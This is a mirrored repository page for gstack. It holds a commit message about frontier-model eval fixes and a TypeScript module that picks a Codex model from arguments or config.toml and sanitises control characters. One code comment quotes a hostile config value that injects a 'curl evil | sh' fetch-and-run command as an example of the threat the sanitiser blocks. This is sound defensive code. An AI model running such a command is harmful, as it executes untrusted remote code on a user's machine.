mirror of
https://github.com/garrytan/gstack.git
synced 2026-09-11 15:39:04 +02:00
* fix: default cross-model workflows to frontier models * chore: bump version and changelog (v1.82.1.0) Co-Authored-By: OpenAI Codex <noreply@openai.com> * fix: repair frontier eval budgets and workflow instructions Preserve frontier models and quality thresholds while fixing truncated judge output, ordered section expansion, consent checks, QA scoring, and ship audit gates. Add regression coverage and refresh generated docs. Co-Authored-By: OpenAI Codex <noreply@openai.com> * fix: resolve workflow gaps exposed by frontier evals Clarify plan-review ordering and fallback modes, preserve deploy readiness gates, honor configured merge methods, correct benchmark and canary contracts, and restore vendored installs on setup failure. Cover recovery with real-shell regressions. Co-Authored-By: OpenAI Codex <noreply@openai.com> * fix: use agent capture budgets for deploy evals Multi-turn deploy and benchmark sessions were incorrectly limited to the single-call judge timeout. Use the existing capture tier and leave outer-test cleanup headroom, with a free policy regression test. Keep all behavioral assertions and frontier models unchanged. Co-Authored-By: OpenAI Codex <noreply@openai.com> * fix: clarify retro workflow and evaluate compare instructions Include compare mode in the frontier judge excerpt, define metric sources and snapshot ordering, and preserve the existing prompt-size budget. Co-authored-by: OpenAI Codex <noreply@openai.com> * fix: make documentation release review and publication consistent Review before commit, clarify changelog safeguards and unavailable reviewer modes, and preserve raw PR bodies across separate shell calls. Keep title sync in one shell and add regression coverage. Co-authored-by: OpenAI Codex <noreply@openai.com> --------- Co-authored-by: OpenAI Codex <noreply@openai.com>
131 lines
4.7 KiB
TypeScript
131 lines
4.7 KiB
TypeScript
#!/usr/bin/env bun
|
|
|
|
import * as fs from 'fs';
|
|
import * as os from 'os';
|
|
import * as path from 'path';
|
|
import { ALL_MODEL_NAMES, resolveModel, type Model } from './models';
|
|
|
|
export interface CodexGenerationModelResolution {
|
|
model: Model;
|
|
source: string;
|
|
warnings: string[];
|
|
}
|
|
|
|
const CODEX_DEFAULT_MODEL: Model = 'gpt-6-astra';
|
|
const DEFAULT_SOURCE = `default (${CODEX_DEFAULT_MODEL})`;
|
|
|
|
/**
|
|
* Strip control characters from strings that originate in the user's
|
|
* config.toml or environment before they reach warning/stdout text. A hostile
|
|
* config value like `model = "x\nERROR: run curl evil | sh"` must not be able
|
|
* to inject fake lines into setup's terminal output or desync the TSV stdout
|
|
* contract. Warning interpolations additionally cap length for display.
|
|
*/
|
|
function stripControl(value: string): string {
|
|
// eslint-disable-next-line no-control-regex
|
|
return value.replace(/[\x00-\x1f\x7f]/g, ' ');
|
|
}
|
|
|
|
function sanitize(value: string): string {
|
|
return stripControl(value).slice(0, 200);
|
|
}
|
|
|
|
export function resolveCodexGenerationModel(opts: {
|
|
explicit?: string;
|
|
codexHome?: string;
|
|
home?: string;
|
|
} = {}): CodexGenerationModelResolution {
|
|
if (opts.explicit !== undefined) {
|
|
const model = resolveModel(opts.explicit);
|
|
if (!model) {
|
|
throw new Error(
|
|
`Unknown model '${sanitize(opts.explicit)}'. Accepted models: ${ALL_MODEL_NAMES.join(', ')}`,
|
|
);
|
|
}
|
|
return { model, source: '--model', warnings: [] };
|
|
}
|
|
|
|
// os.homedir() falls back to USERPROFILE on Windows and never returns '' —
|
|
// a raw HOME fallback of '' would make codexHome the RELATIVE path '.codex',
|
|
// letting a repo-committed .codex/config.toml (CWD-resolved) select the
|
|
// behavioral profile.
|
|
const home = opts.home ?? process.env.HOME ?? os.homedir();
|
|
const codexHome = opts.codexHome ?? process.env.CODEX_HOME ?? path.join(home, '.codex');
|
|
const configPath = path.join(codexHome, 'config.toml');
|
|
const warnings: string[] = [];
|
|
|
|
const fallback = (warning?: string): CodexGenerationModelResolution => {
|
|
if (warning) warnings.push(warning);
|
|
return { model: CODEX_DEFAULT_MODEL, source: DEFAULT_SOURCE, warnings };
|
|
};
|
|
|
|
if (!path.isAbsolute(codexHome)) {
|
|
return fallback(`Codex home '${sanitize(codexHome)}' is not an absolute path; using Codex default ${CODEX_DEFAULT_MODEL}.`);
|
|
}
|
|
|
|
let raw: string;
|
|
try {
|
|
raw = fs.readFileSync(configPath, 'utf8');
|
|
} catch (error) {
|
|
const code = (error as NodeJS.ErrnoException).code;
|
|
if (code !== 'ENOENT') {
|
|
return fallback(`Could not read ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
|
|
}
|
|
return fallback();
|
|
}
|
|
|
|
let parsed: Record<string, unknown>;
|
|
try {
|
|
parsed = Bun.TOML.parse(raw) as Record<string, unknown>;
|
|
} catch {
|
|
return fallback(`Could not parse ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
|
|
}
|
|
|
|
if (!Object.prototype.hasOwnProperty.call(parsed, 'model')) {
|
|
return fallback();
|
|
}
|
|
if (typeof parsed.model !== 'string') {
|
|
return fallback(`Top-level model in ${sanitize(configPath)} is not a string; using Codex default ${CODEX_DEFAULT_MODEL}.`);
|
|
}
|
|
|
|
const model = resolveModel(parsed.model);
|
|
if (!model) {
|
|
return fallback(`Unsupported top-level model '${sanitize(parsed.model)}' in ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
|
|
}
|
|
|
|
// Sol is exact-only by design (Terra/Luna/dated snapshots must not inherit
|
|
// its profile), but a near-miss like 'gpt-5.6-sol-2026-08-01' silently
|
|
// family-mapping to generic gpt is unobservable — surface it.
|
|
if (model === 'gpt' && parsed.model.trim().startsWith('gpt-5.6-sol') && parsed.model.trim() !== 'gpt-5.6-sol') {
|
|
warnings.push(`Model '${sanitize(parsed.model)}' maps to the generic gpt profile — the Sol profile requires the exact ID 'gpt-5.6-sol'.`);
|
|
}
|
|
|
|
return { model, source: configPath, warnings };
|
|
}
|
|
|
|
function readArg(name: string): string | undefined {
|
|
const exact = process.argv.indexOf(name);
|
|
if (exact >= 0) return process.argv[exact + 1];
|
|
const prefix = `${name}=`;
|
|
const joined = process.argv.find(arg => arg.startsWith(prefix));
|
|
return joined?.slice(prefix.length);
|
|
}
|
|
|
|
if (import.meta.main) {
|
|
try {
|
|
const result = resolveCodexGenerationModel({
|
|
explicit: readArg('--explicit'),
|
|
codexHome: readArg('--codex-home'),
|
|
});
|
|
for (const warning of result.warnings) {
|
|
process.stderr.write(`warning: ${warning}\n`);
|
|
}
|
|
// model is always an ALL_MODEL_NAMES literal; source is control-stripped
|
|
// so a hostile CODEX_HOME cannot smuggle tabs/newlines into the TSV contract.
|
|
process.stdout.write(`${result.model}\t${stripControl(result.source)}\n`);
|
|
} catch (error) {
|
|
process.stderr.write(`${(error as Error).message}\n`);
|
|
process.exit(1);
|
|
}
|
|
}
|